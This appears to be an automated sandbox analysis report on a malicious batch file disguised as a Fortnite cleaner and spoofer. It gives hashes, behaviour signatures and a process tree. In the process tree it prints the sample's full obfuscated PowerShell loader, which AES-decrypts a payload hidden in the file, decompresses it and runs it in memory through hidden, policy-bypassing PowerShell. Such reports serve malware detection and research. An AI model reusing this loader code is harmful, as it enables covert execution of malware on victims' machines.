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Analysis
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max time kernel
119s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
29/12/2024, 21:58
Static task
static1
Behavioral task
behavioral1
Sample
FortniteCleanerandSpoofer.bat
Resource
win7-20240903-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
FortniteCleanerandSpoofer.bat
Resource
win10v2004-20241007-en
22 signatures
150 seconds
General
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Target
FortniteCleanerandSpoofer.bat
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Size
11.7MB
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MD5
2633869ac4a9cb98b01488ac2cb20d72
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SHA1
167871fab0a19acaf7ad22144d8fdb5b09959a28
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SHA256
6a52f0cf77b3706de713eff3d7e038ff13d5ca7c8fc837f4eee0adac079cf522
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SHA512
f4d48d8e672d828c79b65b886c1ca3a423701cd6a8077c0ab78c4d2e60284ed505fc971975beab3e79bd9b9c20f821b52111258642c8bbb4024891a343004543
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SSDEEP
49152:z+8TuE0MoXJ8qRdxr47sbd6rBJYqfpbAgpK64KspQPEf+UWONvGFni6xha3DrNG0:k
Score
8/10
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2704 powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2704 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2704 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2160 wrote to memory of 2696 2160 cmd.exe 31 PID 2160 wrote to memory of 2696 2160 cmd.exe 31 PID 2160 wrote to memory of 2696 2160 cmd.exe 31 PID 2160 wrote to memory of 2704 2160 cmd.exe 32 PID 2160 wrote to memory of 2704 2160 cmd.exe 32 PID 2160 wrote to memory of 2704 2160 cmd.exe 32
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\FortniteCleanerandSpoofer.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2160 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function wxtqr($ODxam){ $yFHSw=[System.Security.Cryptography.Aes]::Create(); $yFHSw.Mode=[System.Security.Cryptography.CipherMode]::CBC; $yFHSw.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $yFHSw.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('MlS5vgEV14RQQ3ZEfZqUBeQcgrXfss4V2pUy4tjwV1I='); $yFHSw.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('nxrFwGMsIIo9SFRZFcB28A=='); $maSQj=$yFHSw.CreateDecryptor(); $return_var=$maSQj.TransformFinalBlock($ODxam, 0, $ODxam.Length); $maSQj.Dispose(); $yFHSw.Dispose(); $return_var;}function WDxBz($ODxam){ $GXRNP=New-Object System.IO.MemoryStream(,$ODxam); $ruNFB=New-Object System.IO.MemoryStream; Invoke-Expression '$PBbkq #=# #N#e#w#-#O#b#j#e#c#t# #S#y#s#t#e#m#.#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#G#Z#i#p#S#t#r#e#a#m#(#$GXRNP,# #[#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#C#o#m#p#r#e#s#s#i#o#n#M#o#d#e#]#:#:#D#e#c#o#m#p#r#e#s#s#)#;#'.Replace('#', ''); $PBbkq.CopyTo($ruNFB); $PBbkq.Dispose(); $GXRNP.Dispose(); $ruNFB.Dispose(); $ruNFB.ToArray();}function HXYOu($ODxam,$waUGN){ $agWIT = @( '$XEdTc = [System.#R#e#f#l#e#c#t#i#o#n#.Assembly]::("@L@o@a@d@".Replace("@", ""))([byte[]]$ODxam);'.Replace("#", ""), '$PzJKk = $XEdTc.EntryPoint;', '$PzJKk.Invoke($null, $waUGN);' ); foreach ($ayBSI in $agWIT) { Invoke-Expression $ayBSI };}$ulpxy=[System.IO.File]::("@R@e@a@d@A@l@l@T@e@x@t@".Replace("@", ""))('C:\Users\Admin\AppData\Local\Temp\FortniteCleanerandSpoofer.bat').Split([Environment]::NewLine);foreach ($WdBTO in $ulpxy) { if ($WdBTO.StartsWith('SIROXEN')) { $xSKPu=$WdBTO.Substring(7); break; }}$NWMte=WDxBz (wxtqr ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($xSKPu)));HXYOu $NWMte (,[string[]] ('C:\Users\Admin\AppData\Local\Temp\FortniteCleanerandSpoofer.bat')); "2⤵PID:2696
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2704
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